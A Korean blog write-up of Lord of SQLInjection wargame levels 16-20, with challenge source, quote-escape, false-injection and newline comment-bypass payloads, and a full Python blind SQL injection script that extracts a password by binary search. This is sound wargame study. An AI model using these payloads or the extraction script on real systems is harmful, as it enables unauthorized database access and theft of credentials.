[LOS] 16-20번 문제 풀이(succubus,zombie assassin , nightmare, xavis, dragon)

5 분 소요

💡 los.rubiya.kr 16-20번 문제에 대한 풀이입니다.

16번(succubus)

문제

image

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

풀이

id, pw 변수 전부 싱글쿼터에 대해서 필터링이 되어 있습니다. 따라서 이번 문제는 어떻게 하면 싱글쿼터를 벗어날 수 있는지에 대한 문제입니다.

문제 해결의 아이디어는 escape문자입니다. 만약 id에서 ‘'를 입력한다면 쿼리문은 다음과 같이 바뀝니다.

select id from prob_succubus where id='\' and pw=''

위의 쿼리문은 두번째 싱글쿼터에 escape문자가 추가되어서 특수문자의 싱글쿼터 기능이 아닌, 문자열에 있는 문자 싱글쿼터로 기능이 바뀌게 되어서 현재 아이디 값은 아래와 같이 바뀐것입니다.

id =' and pw=

따라서 pw에 입력하는 문자는 문자열 내의 문자가 아니라 db에서 쿼리가 작동하는 문자입니다. 다음과 같이 pw값을 입력해줘서 쿼리문을 완성 시켜줍니다.

id=\
pw=||1#

image

17번(zombie assassin)

문제

image

풀이

16번과 풀어야 하는 아이디어는 동일합니다. escape 문자를 이용하여 문자열을 탈출하여 db함수를 이용하는 문제입니다.

다음과 같이 입력하면 풀립니다.

id="
pw=#1||

image

18번(nightmare)

문제

image

풀이

이 문제는 크게 2가지 개념을 알고 있어야 합니다.

  1. False Injection
  2. 주석 우회 기법

False Injection

우선 False Injection이란 다음의 쿼리문을 보시면 됩니다.

select * from test where pw=''=0;

위의 쿼리문 중 where절의 조건은 항상 ‘참’인 결과가 나옵니다. 그 이유는 where 절에서의 동작이 다음의 순서로 이루어지기 때문입니다.

  1. pw=’’ -> false
  2. false = 0 -> true

아래와 같이 sql 에서는 false = 0의 연산에 대해서 ‘참’으로 판단하기 때문입니다.

image

위의 결과에 따라서 이번 문제에서는 ‘)=0을 입력하면 다음과 같이 쿼리문이 완성됩니다.

select id from prob_nightmare where pw=('')=0

위의 where 절은 항상 true를 반환하는 상태이고 이 뒤로는 주석처리를 해줘야 합니다.

주석 우회 기법

mysql에서 남은 뒷부분에 대한 주석처리를 하기 위해서 가장 많이 사용하는 2가지 기법은 다음과 같습니다.

  1. –%20
  2. %23(#기호)

하지만 추가적으로 다음과 같은 방법도 가능합니다.

  1. ;%00

본 문제에서는 1,2번 방법에 대해서 필터링을 하고 있기 때문에 3번의 방법을 이용합니다.

따라서 문제에서 요구하는 6글자 이내의 pw는 다음과 같습니다.

pw=')=0;%00

image

19번(xavis)

문제

image

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

풀이

regex,like에 대한 필터링만 걸려있는 blind sql injection 문제입니다. 위에 2개를 사용하지 않고 평범하게 blind sql injection을 수행해 줍니다.

평범하게 sql injection을 수행하면 비밀번호가 12자리 라는 것까지는 구할 수 있습니다.

for i in range(30):
    payload="' or id='admin' and length(pw)={}#".format(i)
    print(payload)
    params["pw"] = payload
    response = requests.get(url,params=params,cookies=cookies)
    if("Hello admin" in response.text):
        print("find the pw_length",i)
        break

' or id='admin' and length(pw)=0#
' or id='admin' and length(pw)=1#
' or id='admin' and length(pw)=2#
' or id='admin' and length(pw)=3#
' or id='admin' and length(pw)=4#
' or id='admin' and length(pw)=5#
' or id='admin' and length(pw)=6#
' or id='admin' and length(pw)=7#
' or id='admin' and length(pw)=8#
' or id='admin' and length(pw)=9#
' or id='admin' and length(pw)=10#
' or id='admin' and length(pw)=11#
' or id='admin' and length(pw)=12#
find the pw_length 12

하지만, 기존에 blind sql injection을 수행할 때는 비밀번호가 영어 + 숫자의 조합이라고 가정하여 수행했기 때문에 이번 문제에서는 풀리지 않았습니다.

한참 삽질을 한 결과 이번 문제에서는 답이 한글이라는 사실을 알았습니다.

한글이나 다른 아스키가 아닌 UTF 문자가 섞여 있다면, 몇가지 제약 사항이 생깁니다. blind sql injection을 최대한 일반적인 상황에서 해결할 수 있도록 작성할 필요가 있어서 우선 헷갈리는 개념부터 정리를 해놓겠습니다.

문자열의 길이

UTF로 인코딩된 문자가 들어가면 length()의 리턴 값이 기존과 조금 다릅니다.

image

현재 제 pc 로컬에 깔려있는 db에서 테스트 해봤을 때는 한글 한글자를 3글자로 리턴해 줍니다. 유니코드를 어떠한 방식으로 인코딩 하느냐에 따라서 결과는 다릅니다. 현재 UTF8로 인코딩 되어 있기 때문에 3글자이며, UTF32로 인코딩을 한다면 4바이트가 나올 수도있습니다.

substr 함수를 통해서 한글자를 자르면 3byte가 전부 리턴됩니다.

image

또한 기존에는 문자열 비교를 위해서 ascii 함수를 사용했다면, UTF 이상의 문자에서는 ascii를 사용하면 원하는 결과가 나오지 않습니다. 2byte이상의 글자에 대해서는 ord 함수를 사용해야 합니다.

image

ascii 함수는 3바이트 중 가장 첫번째 1바이트에 대한 값만 구해줍니다

이정도로 정리를 하고 이 개념을 이용하여 blind sql injection을 수행해 보겠습니다.

저는 다음의 로직으로 코드를 구성했습니다.

  1. 하나의 글자마다 substr으로 자르고, 그 크기가 실제로 몇 바이트인지 확인을 합니다. (전체 문자열의 길이를 정확하게 측정하기 위해서)
  2. 하나의 글자에 대해서 ord 함수를 통해서 10진수로 변환된 값을 구합니다.
  3. 이렇게 구한 결과들을 하나의 글자당 몇 바이트이며, 값이 몇인지를 보고 인코딩 결과를 추론합니다.

3번의 경우가 경험이 필요한 부분인데, 똑같은 한글이 유니코드로 저장되었다고 해도, UTF8인지 UTF32인지등에 따라서 다 결과가 다릅니다. 현재 문제의 경우 하나의 글자가 4바이트임을 보면 UTF8이 아닌 UTF32로 저장되어 있으며 그렇기 때문에 따로 인코딩 변환 없이 chr(50864)같이 출력을 해주면 데이터가 성공적으로 출력됩니다.

나중에 다른 문제에서는 인코딩이 다를수도 있으니 꼭 기억을 해놓아야 하는 부분입니다.

참고한 블로그 : https://hyoje420.tistory.com/3

제가 작성한 전체 코드는 다음과 같습니다.

import requests

url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
cookies = {"PHPSESSID" : "1t87momi7f10m7tl6kkv6t0lob"}
params = {"pw" : None}

# 비밀번호 길이 구하기
for i in range(30):
    payload="' or id='admin' and length(pw)={}#".format(i)
    print(payload)
    params["pw"] = payload
    response = requests.get(url,params=params,cookies=cookies)
    if("Hello admin" in response.text):
        print("find the pw_length",i)
        break

# 길이 12자리
pw_length = 12
current_length = 0
idx = 0
flag = []
while(current_length<pw_length):
    idx = idx + 1
    # substr으로 한글자씩 자르면서 그 글자가 몇 글자인지 체크(한글이면 3글자, 영어 숫자면 1글자)
    for i in range(1,5):
        payload = "' or id='admin' and length(substr(pw,{},1))={}#".format(idx,i)
        params["pw"] = payload
        response = requests.get(url,params=params,cookies=cookies)
        if("Hello admin" in response.text):
            current_length = current_length + i
            print("{}번째 한글자는 {}바이트 짜리".format(idx,i))
            break
    
    # 찾아야 할 숫자의 범위가 매우 크므로 이진탐색 알고리즘 적용
    start,end=0,2**32       # 0 부터 4byte까지를 범위로 설정
    while True:
        search = int((start + end)/2)
        payload = "' or id='admin' and ord(substr(pw,{},1))<={}#".format(idx,search)
        params["pw"] = payload
        response = requests.get(url,params=params,cookies=cookies)
        if("Hello admin" in response.text):
            print("[+]",payload)
            payload = "' or id='admin' and ord(substr(pw,{},1))={}#".format(idx,search)
            params["pw"] = payload
            response = requests.get(url,params=params,cookies=cookies)
            if("Hello admin" in response.text):
                flag.append(search)
                print("[+++] find the flag",flag)
                break
            end = search
        else:
            print("[-]",payload)
            start = search

for i in flag:
    print(chr(i),end='')

image

image

20번(dragon)

문제

image

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

풀이

이번 문제는 주석을 우회하여 admin계정의 정보를 가져오는 것입니다.

기본적으로 매번 사용하는 #주석이나, –주석은 한 줄 주석입니다. 이 말은 주석을 하는 부분이 줄바꿈이 되면 그 부분은 주석처리가 되지 않는다는 의미 입니다.

따라서 줄 바꿈(0x0a)을 한 뒤에 쿼리문을 입력해 주면 됩니다.

pw=%20%0a or id='admin' order by id%23

pw부분에서 줄바꿈 전까지가 주석에 의해서 사라지고 그 뒤에 부분이 실행되어서 admin이 출력됩니다.

image

댓글남기기